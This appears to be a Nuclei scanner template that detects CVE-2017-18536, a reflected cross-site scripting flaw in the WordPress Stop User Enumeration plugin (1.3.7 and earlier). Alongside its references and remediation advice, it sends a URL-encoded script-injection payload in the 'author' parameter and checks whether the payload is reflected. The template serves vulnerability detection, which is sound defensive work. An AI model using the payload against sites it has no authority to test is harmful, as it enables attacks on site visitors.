id: CVE-2017-18536

info:
  name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
  impact: |
    This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
    - https://wordpress.org/plugins/stop-user-enumeration/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18536
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18536
    cwe-id: CWE-79
    epss-score: 0.05223
    epss-percentile: 0.90506
    cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: fullworks
    product: stop_user_enumeration
    framework: wordpress
  tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks

http:
  - method: GET
    path:
      - "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "forbidden - number in author"
          - "</script><script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402206d88f471523fb37bd62932fae1301fbca97d2b4a82f13bfb1e3b5df353efe124022069f5dedd94dd6f7c95ce9ee91d3f87533acb36e16f0687268a44000f0db6747c:922c64590222798bb761d5b6d8e72950